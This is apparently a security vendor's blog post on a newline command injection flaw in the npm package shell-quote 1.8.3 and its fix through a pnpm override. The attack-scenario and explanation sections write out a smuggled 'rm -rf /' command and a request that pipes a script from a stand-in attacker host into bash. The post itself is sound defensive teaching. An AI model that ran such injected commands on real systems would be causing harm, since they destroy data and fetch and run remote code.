Back to Blog
high SEVERITY7 min read

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability in `shell-quote` 1.8.3 (CVE-2026-9277) allowed arbitrary code execution through unescaped line terminators in shell arguments. The fix upgrades the dependency to `shell-quote` 1.8.4 via a pnpm override, closing the attack surface in both `launch-editor` and `react-dev-utils` dependency chains.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

CVE-2026-9277 is a critical command injection vulnerability (CWE-78) in the `shell-quote` npm package versions prior to 1.8.4. Unescaped newline and carriage-return characters in shell arguments allowed attackers to inject arbitrary shell commands. The fix is to upgrade `shell-quote` to 1.8.4, which properly escapes line terminators before they reach the shell. In monorepo projects using pnpm, this is achieved by adding a `shell-quote: "1.8.4"` entry to the `pnpm.overrides` field in `package.json`.

Vulnerability at a Glance

cweCWE-78
fixUpgrade shell-quote to 1.8.4, which sanitizes line terminators before shell expansion
riskArbitrary shell command execution on the host system
languageJavaScript / Node.js
root causeshell-quote 1.8.3 failed to escape newline (`\n`) and carriage-return (`\r`) characters in quoted shell arguments
vulnerabilityCommand Injection via unescaped line terminators

How Command Injection Happens in Node.js shell-quote and How to Fix It

Shell argument quoting sounds like a solved problem — wrap the string in quotes, done. But shell-quote 1.8.3 had a subtle gap: it forgot about line terminators. That single omission is CVE-2026-9277, a critical command injection vulnerability that lets an attacker smuggle a second shell command past the quoting layer simply by embedding a newline character in their input.

This post walks through exactly what went wrong, how the dependency is used in this project, and how a two-line pnpm override closes the vulnerability completely.


The Vulnerability Explained

What shell-quote Does — and Where It Failed

shell-quote is an npm package that safely serializes an array of strings into a single shell command line. It is used in development tooling — most notably by launch-editor (which opens files in your IDE from the browser) and react-dev-utils (the Create React App development server utilities).

The core contract of shell-quote is: any string you pass in comes out quoted so the shell treats it as a single token. For example:

const quote = require('shell-quote').quote;
quote(['git', 'commit', '-m', 'my message']);
// → "git commit -m 'my message'"

In shell-quote 1.8.3, that contract broke down for inputs containing newline (\n) or carriage-return (\r) characters. Because those characters were not escaped or stripped, an attacker-controlled string could terminate the current shell line and begin a new command:

// shell-quote 1.8.3 — VULNERABLE
quote(['git', 'commit', '-m', 'fix\nrm -rf /']);
// → "git commit -m 'fix\nrm -rf /'"
//                         ^^
//   The shell sees the newline as a command separator.
//   'rm -rf /' executes as a second command.

The shell interprets the embedded \n as if the user had pressed Enter, so everything after it runs as a brand-new command with the privileges of the Node.js process.

Vulnerable Dependency Resolution in pnpm-lock.yaml

Before the fix, the lockfile pinned the vulnerable version in two snapshot entries:

# pnpm-lock.yaml — BEFORE (vulnerable)
shell-quote@1.8.3:
  resolution: {integrity: sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==}
  engines: {node: '>= 0.4'}

And both consumers resolved to it:

launch-editor@2.12.0:
  dependencies:
    picocolors: 1.1.1
    shell-quote: 1.8.3   # ← vulnerable
react-dev-utils@...:
  dependencies:
    shell-quote: 1.8.3   # ← vulnerable

Attack Scenario: Exploiting launch-editor

launch-editor takes a file path from an HTTP request made by the browser during development and passes it to a shell command that opens the file in the configured editor. If a developer's local dev server is reachable on the network (e.g., in a shared office or CI environment), an attacker on the same network could craft a request with a path like:

/file?filename=src/App.js%0Acurl+https://attacker.example/shell.sh+|+bash

launch-editor would pass the decoded filename through shell-quote 1.8.3, which would fail to neutralize the %0A (newline), resulting in the shell executing:

code src/App.js
curl https://attacker.example/shell.sh | bash

The second command runs with the full privileges of the development server process — which, in many CI/CD pipelines, has access to secrets, tokens, and the filesystem.


The Fix

Two-File Change, One Override

The fix is elegant in its simplicity: rather than waiting for launch-editor or react-dev-utils to publish their own updates, the project uses pnpm's overrides mechanism to force every package in the dependency tree to resolve shell-quote to the patched version 1.8.4.

package.json — before:

"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4"
  }
}

package.json — after:

"pnpm": {
  "overrides": {
    "fast-xml-parser": "4.5.4",
    "shell-quote": "1.8.4"
  }
}

This single line tells pnpm: regardless of what version any dependency requests, always install shell-quote@1.8.4.

What Changed in pnpm-lock.yaml

The lockfile reflects the forced resolution across all four affected locations:

# pnpm-lock.yaml — AFTER (patched)
shell-quote@1.8.4:
  resolution: {integrity: sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==}
  engines: {node: '>= 0.4'}
launch-editor@2.12.0:
  dependencies:
    picocolors: 1.1.1
    shell-quote: 1.8.4   # ✅ patched

react-dev-utils@...:
  dependencies:
    shell-quote: 1.8.4   # ✅ patched

Why the Integrity Hash Matters

Notice that the resolution.integrity SHA-512 hash changed between 1.8.3 and 1.8.4. pnpm verifies this hash on every install, so even if an attacker attempted a supply-chain substitution, the install would fail with a checksum mismatch. Pinning the override to 1.8.4 with its known-good hash is a defense-in-depth measure on top of the version bump.

What shell-quote 1.8.4 Actually Changed

Version 1.8.4 adds explicit escaping for \n and \r characters before they are embedded in quoted shell tokens. The fix ensures that line terminators are either stripped or replaced with their escaped representations (\\n, \\r), so the shell never interprets them as command separators regardless of the surrounding quote style.


Prevention & Best Practices

1. Audit Transitive Dependencies Regularly

This vulnerability lived in a transitive dependency — neither launch-editor nor react-dev-utils are direct dependencies of the application, yet both pulled in the vulnerable shell-quote. Run your SCA scanner against the full dependency tree, not just direct dependencies:

# With Trivy
trivy fs --scanners vuln .

# With pnpm audit
pnpm audit

2. Use pnpm Overrides (or npm/yarn Resolutions) Proactively

When a vulnerability is found in a transitive dependency and the direct dependency hasn't shipped a fix yet, use your package manager's override mechanism:

Package Manager Mechanism Field
pnpm pnpm.overrides package.json
npm overrides package.json
yarn classic resolutions package.json
yarn berry resolutions package.json

3. Avoid shell=true and String-Based Command Building

The root cause of command injection is always the same: building a shell command string from untrusted input. Where possible, use child_process.execFile or child_process.spawn with an argument array instead of a command string:

// ❌ Vulnerable pattern — shell interprets the string
const { exec } = require('child_process');
exec(`open ${filename}`);  // filename can contain \n

// ✅ Safe pattern — arguments are never interpreted by a shell
const { execFile } = require('child_process');
execFile('open', [filename]);  // filename is passed as-is to execve()

4. Pin Integrity Hashes in Lockfiles

Always commit your lockfile (pnpm-lock.yaml, package-lock.json, or yarn.lock) to version control. Lockfiles record the integrity hash of every resolved package, making supply-chain substitution attacks much harder.

5. Reference Standards

  • OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP Top 10 A03:2021 — Injection

Key Takeaways

  • shell-quote 1.8.3 did not escape \n or \r, meaning any user-controlled string containing a newline could inject a second shell command — even inside single quotes.
  • Both launch-editor and react-dev-utils in this project's dependency tree consumed the vulnerable version, creating two distinct attack surfaces in the development server.
  • A pnpm overrides entry is the right tool when a transitive dependency has a known CVE and the direct dependency hasn't yet shipped a patched version.
  • Integrity hashes in pnpm-lock.yaml changed from the 1.8.3 to 1.8.4 entry, providing an additional layer of supply-chain verification.
  • Development tooling is not a safe zone — vulnerabilities in dev-only dependencies can still be exploited in shared development environments, CI/CD pipelines, and developer workstations.

How Orbis AppSec Detected This

  • Source: User-controlled input (e.g., a filename query parameter) passed to launch-editor during local development server operation.
  • Sink: shell-quote's quote() function called inside launch-editor and react-dev-utils, which feeds the resulting string directly to a shell command execution context.
  • Missing control: shell-quote 1.8.3 performed no escaping or stripping of newline (\n) and carriage-return (\r) characters before embedding them in quoted shell tokens.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: The shell-quote dependency was forced to version 1.8.4 across the entire dependency tree via a pnpm.overrides entry in package.json, replacing the vulnerable resolution in both launch-editor@2.12.0 and react-dev-utils.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

CVE-2026-9277 is a reminder that shell quoting is harder than it looks. A single missing character class — newlines — in shell-quote 1.8.3 was enough to turn a routine file-open call in launch-editor into a potential arbitrary command execution vector. The fix required only two lines of configuration in package.json and a corresponding update to pnpm-lock.yaml, but those two lines close the vulnerability across every consumer in the dependency tree simultaneously.

The broader lesson: treat your dependency tree as part of your attack surface. Transitive dependencies in development tooling still run on real machines with real credentials and real access to your codebase. Scan them, pin them, and override them when necessary.


References

Frequently Asked Questions

What is command injection via unescaped line terminators?

It occurs when a library that builds shell command strings fails to escape newline or carriage-return characters, allowing an attacker to inject a second shell command on a new line.

How do you prevent command injection in Node.js?

Always use a well-maintained shell-quoting library that escapes all special characters, including line terminators, or avoid shell execution entirely by using `child_process.execFile` with argument arrays.

What CWE is command injection?

Command injection maps to CWE-78 (Improper Neutralization of Special Elements used in an OS Command).

Is quoting shell arguments enough to prevent command injection?

Only if the quoting library escapes all special characters, including `\n` and `\r`. shell-quote 1.8.3 missed line terminators, which is why 1.8.4 was necessary.

Can static analysis detect command injection in dependency chains?

Yes. Tools like Trivy perform software composition analysis (SCA) and flag known-vulnerable transitive dependencies such as shell-quote 1.8.3 against the CVE database.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #970

Related Articles

critical

How Command Injection happens in Python subprocess calls and how to fix it

A critical OS command injection vulnerability was discovered in `backend_android.py`, where the `_sendevent` function constructed shell commands using f-string interpolation with a user-controlled `dev` parameter and executed them with `shell=True`. An attacker could exploit this by sending a crafted `android-config` packet with a malicious `eventDev` value containing shell metacharacters, enabling arbitrary command execution on the host. The fix validates the `dev` parameter against a strict re

high

How Denial of Service via Brace Expansion Happens in JavaScript and How to Fix It

A high-severity denial-of-service vulnerability (CVE-2026-13149) in the `brace-expansion` package was fixed by upgrading `concurrently` from `^9.2.1` to `^9.2.4`, which pulls in `shell-quote 1.9.0` instead of the vulnerable `1.8.3`. The flaw allowed an attacker to craft a specially formed brace-expansion pattern that caused exponential processing time, potentially hanging Node.js processes. Left unpatched, any code path that passed user-influenced strings through `concurrently`'s shell-quoting l

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) was discovered in shell-quote 1.8.3, where unescaped line terminators could allow arbitrary code execution by bypassing the library's shell argument quoting logic. The fix upgrades shell-quote to version 1.8.4 and pins the dependency via a package.json override to ensure the patched version is consistently resolved across the dependency tree. This matters because shell-quote is widely used in Node.js tooling to safely construct shell com

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `src/cli/commands/extract.js` at line 257, where user-controlled input was passed unsanitized into a `child_process` call via the `extractZipWithSystemTool` function. The fix eliminates the dangerous shell execution path entirely by removing the `spawn`-based system tool invocation and relying on the safe, pure-JavaScript `yauzl` library for ZIP extraction. This proactive hardening prevents downstream consumers of this Node.js lib

critical

How Remote Code Execution via Security Fix Bypass happens in Node.js and how to fix it

CVE-2026-28292 is a critical Remote Code Execution vulnerability in the simple-git npm package that allowed attackers to bypass previously shipped security patches. The flaw affected applications using simple-git versions prior to 3.32.3, and was resolved by upgrading to 3.36.0, which introduced a dedicated argument-parsing architecture to properly sanitize untrusted input before it reaches the underlying git process.

high

How Path Traversal happens in PostCSS Source Map Loading and how to fix it

A path traversal vulnerability in PostCSS versions before 8.5.18 allowed malicious `sourceMappingURL` comments in CSS files to trick PostCSS into loading arbitrary `.map` files from the filesystem. The fix upgrades PostCSS from 8.5.15 to 8.5.18 in `frontend/package-lock.json` and pins the version via an override in `frontend/package.json`, closing the file disclosure vector before it could be chained with other weaknesses.